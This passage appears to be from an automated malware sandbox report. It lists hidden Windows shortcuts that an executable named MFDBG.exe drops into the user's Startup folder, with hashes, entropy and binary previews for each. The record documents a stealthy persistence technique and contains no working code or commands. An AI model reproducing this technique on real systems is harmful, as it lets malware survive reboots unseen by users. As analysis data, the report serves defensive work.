Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:00 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.927066672354258
Encrypted:	false
SSDEEP:	24:8c3Bfrp8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8EyEvZ0yRO7DLO2zdxdRd1kyg
MD5:	7F941A415BF0B9B83AE16F4B73A18135
SHA1:	8E0ABA1D942160E5E77CB2C5F385AF91E4201B7C
SHA-256:	DA8985AA5D9A7F214A75BD0AADDD55394BA43760A82F7CC7E551C9E49FA7A173
SHA-512:	34F129AC9208CEC6926CCA7403C741F26DDBB798B76E1F47728A39935410011BA457241F7A55B972BCF63D4CAFCD3DFA041B5C385BEAF34D4B9CE91F5BB1F1B7
Malicious:	false
Preview:	L..................F....".......d.......d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...{...d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b668a9224bf241879a0e16a0db4edc13.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:30 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.931168013351661
Encrypted:	false
SSDEEP:	24:8PierBfs8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:86ehEvZ0yRO7DLO2zdxdRd1kyg
MD5:	16A2A93257299258A114450B29BBCAFF
SHA1:	1AD5163BC16585B5C074D712576806BCD364A081
SHA-256:	90705DE71265FAB4CDE00A9DD072DB28C2022288186CD42F588C699FE94DA5F7
SHA-512:	AB78F858A6F31823EB47F78D51AC394FB8C869B7D51BE1C470B6514DB2B0D8EE055579A86CADD36F7D2FF4EC05225930DC310B864E11A83E37DCD186E7315B19
Malicious:	false
Preview:	L..................F....".......d...>v.Rd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....w.Rd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b6fdae483f0d47398c3aabd92269cdbb.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:02 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9211152296210745
Encrypted:	false
SSDEEP:	24:8EBfA8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8qdEvZ0yRO7DLO2zdxdRd1kyg
MD5:	CFC1DFDD1BFEAD8F57DD2E82D4DD8D32
SHA1:	9E30BB385CBEEFC28E373468CE9EFA536F18B095
SHA-256:	E0C53AA1AD1631A3F945D32D0478434B1CF1BF85CC4EC577AB9D34FFC0C2DE98
SHA-512:	A0CFCDE51CD511220E31471838734720C578541073C9CA9EF8AC002A79DFDA6DCCB03092E98706E196DA1CDDE3A4466C38CCCD6652B474AC6F5FB7B72CC1BA8C
Malicious:	false
Preview:	L..................F....".......d...n...d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...n...d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b7286d69ef14444ab3f3b68467559491.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:00 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.921778980968818
Encrypted:	false
SSDEEP:	24:8UBfs68EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:86cEvZ0yRO7DLO2zdxdRd1kyg
MD5:	272EE1302CDAF7A9B2186B9856F944FA
SHA1:	0C3B9A9ADAA4AB06141F7BE57B8AC1EE7EC52DA6
SHA-256:	02E4B01826AC08963BA8E43AB047EAFBF571E9C9E4034EA5B58453C5DBA2DED0
SHA-512:	E983AC74E8A8A36002D5681C0EE79460E560974CEFFE1DE8876A9CF58483EB7A3F2CA7A356B3C0F75647406BB0AD839330030F898A69D5A9CFFE9CC1B44BBD2B
Malicious:	false
Preview:	L..................F....".......d....^..d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...p...d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b7439bf158644f119f3a2b1e4d4195a3.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:03 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9159907525366835
Encrypted:	false
SSDEEP:	24:85Bff8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8jcEvZ0yRO7DLO2zdxdRd1kyg
MD5:	09DD8CF8F6906A72CD6BC89E01DEC160
SHA1:	F881C4405A9FE0503F1CDA87DDE7C1052533B760
SHA-256:	5D8E7DA62003F3ADE41826E327938911AB22C261285FC41219A736BFF960A671
SHA-512:	48FD288D7B5B9774E065C3F647C1C084A9E25F18AF37C6FAD3853C2D472C02807F8325495BE14EB6D79855D4FF87D41AF40911702943957A200A478266885812
Malicious:	false
Preview:	L..................F....".......d...[H..d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...U!..d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b7b673f342744ed1b113c0b9148eef4a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:43 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.928939533164014
Encrypted:	false
SSDEEP:	24:8GBfZf8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8MREEvZ0yRO7DLO2zdxdRd1kyg
MD5:	58C5C1877ABE48A961846C2B523B9553
SHA1:	F9CE751F275D7D13C2F844A3A9B76C319AB1C156
SHA-256:	11DD28A112CD0B4171A09EF76CF5A42F6BD7E3EBC263E41512209A772B1C982D
SHA-512:	BD55595E520CB71A77C9D8002E995689435F750ADE3899817228BB5B8665B8601F1FA1577A5D709BFB7D17F544B50D866BA0D31C126E9CF4303AE51619E7DF2F
Malicious:	false
Preview:	L..................F....".......d..._..~d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.......d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b7c0cdc6401d4aad9fd95728d769ea4a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:53 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9165936626084035
Encrypted:	false
SSDEEP:	24:8LLbrBf08EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8LLbd5EvZ0yRO7DLO2zdxdRd1kyg
MD5:	27C88FAE7EB666C0B2B4600EE2479DA0
SHA1:	738767A70B770948FC0CA05E6244AAC6C2111EAA
SHA-256:	516867D7C941046224F8BF962201B4EB966D30EE9FA7E4AA3F1E5DF1DF244170
SHA-512:	1662480CCAF0EF593EEA7BAEE55026EF72571EF81487F35103932EFBB3F576915BBF5E256F9EC5A6AA87D6D6A4D185C088707E5AACEE1EB835F346D5F92BF901
Malicious:	false
Preview:	L..................F....".......d...=vI=d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...z.D=d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b7ec6cd8f7514dfba882e112ae8107ba.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:45 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.922910699885153
Encrypted:	false
SSDEEP:	24:8iBf6lf8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8Q2EEvZ0yRO7DLO2zdxdRd1kyg
MD5:	6A87B70A7519B78C35101066560C3162
SHA1:	3C8191571B09F0E69CA93CF37BBBDA9111A8B589
SHA-256:	9100672CEA97F5BB649D8D42941658CFCD5161AC0337A2E49FD8CEAAEB5165F8
SHA-512:	03914B6BCF4964E76892F115AC6F272A91FE4B884AC9D148E8B97B5DFF768AEA6CCB480ED6DFA0E29FB511FC2D8D4F384C797DCBBAE55BBA81BDB9AB171B4CD0
Malicious:	false
Preview:	L..................F....".......d...yR..d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...3e..d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b7ef647184544aeca0260a92ed11b7ce.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:49 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.919154381612983
Encrypted:	false
SSDEEP:	24:8d6BfY8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8d4VEvZ0yRO7DLO2zdxdRd1kyg
MD5:	2C263A544ABF9867E0502D932B3EF3DA
SHA1:	9BD49ABA08903CD912CC5CBAB9FBF1FCC192AF36
SHA-256:	0FA805CFC19267E0E5705FE19896DE702010D1B226B4B587E5DE8E2CF939EBE1
SHA-512:	FAFFC612A7FEB868414DAE2BE961311357BF4762C12855E0C9FC7B76B835F6D916001F338747EB927DF703C8D88C128365DD44B5EB4BC2CB460B252D6B9F079A
Malicious:	false
Preview:	L..................F....".......d.../.s^d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...K.n^d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b81f47a27fb54e7c9445d2ffb9084849.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:13 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.918435693980848
Encrypted:	false
SSDEEP:	24:8EBf+p8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8qGOEvZ0yRO7DLO2zdxdRd1kyg
MD5:	A2086243B1DA3909AD131189CFBDF1CB
SHA1:	256C9EB9C2E609D2626088A5C037377C5E74BE57
SHA-256:	D90AC3B12910F45DAA6DDD2CF8692DA61E021CC2CDF6C27C3EBE7EB893D1A76C
SHA-512:	3C5FFC374EAB2430C799334122348701451CE2A4E17C1C4DE4C697EF73697C9890F4912EEA721CAF6F1C4BBCA373410848EAAF2C57FF3E6CA91C8CB9891550A6
Malicious:	false
Preview:	L..................F....".......d....D#%d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....F.%d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b87b743a810d47e3959c362cacc52604.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:02 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.92131396309172
Encrypted:	false
SSDEEP:	24:8dbBfA8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8dNdEvZ0yRO7DLO2zdxdRd1kyg
MD5:	B03BC0E1B6A953930E3A9C563FAF6F6F
SHA1:	F99DD9968E7429919BBE78276D8BFF25074B6B9D
SHA-256:	BC8D2D0C3EFA9EDF0FFFE2FD73777F3E8A95DB4B3C72BD1790A7B5CBEB02EF0F
SHA-512:	561E42E8483297C763012CC49D71AD253BBD333A7FF66F44120F11E354FC20689793D436132AD71B2560DAA4391A712E5C61E926149EC988306E2F352D1A1E56
Malicious:	false
Preview:	L..................F....".......d....`!.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...n...d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b8855e37856e47d3b9198c16e6bfd87a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:46 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.918743740027992
Encrypted:	false
SSDEEP:	24:8bBf68EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8NfEvZ0yRO7DLO2zdxdRd1kyg
MD5:	1D471D8B176B7BE0636D6C3456C7CFB8
SHA1:	89208E542461C72F0D59BF0B7CD48A89F1030D9A
SHA-256:	609C7F83859B46C288949EEFA2221018661E8BEA4765197A064EB8DADA325DF7
SHA-512:	25558246960E999B727DEB849B0DD87156820E179688AFEA4CED8B92D87E220D92A4C6A6B029202D71B92BD8C56AADCFC301F146434D8C1BDF2604F55603D357
Malicious:	false
Preview:	L..................F....".......d...1..\d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...&v.\d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b8ba5da3a87a425ab810f891aaf28de1.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:27 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.929815056035987
Encrypted:	false
SSDEEP:	24:8mBfs48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8s09EvZ0yRO7DLO2zdxdRd1kyg
MD5:	90AEB3C2E86D2641DD9085A9C913EC87
SHA1:	0615B82E26D4503D9DFA8D6D327F555E9D556D85
SHA-256:	66ECF401082E8651A011FF6EAE73E0AE053271F1374106A350CD3D2FD36D0551
SHA-512:	2294A42E619127D4BF3204D53D426134CE33F094C34D92CB8189D242310AE75D8C89DEC6A7C4E89D3AA461983CDED65BA1925AD69E637692FDDDAF8C09B35ED7
Malicious:	false
Preview:	L..................F....".......d....Qd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....\|Qd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b8c45e76293e4924ad4b7f7f4a050d6a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
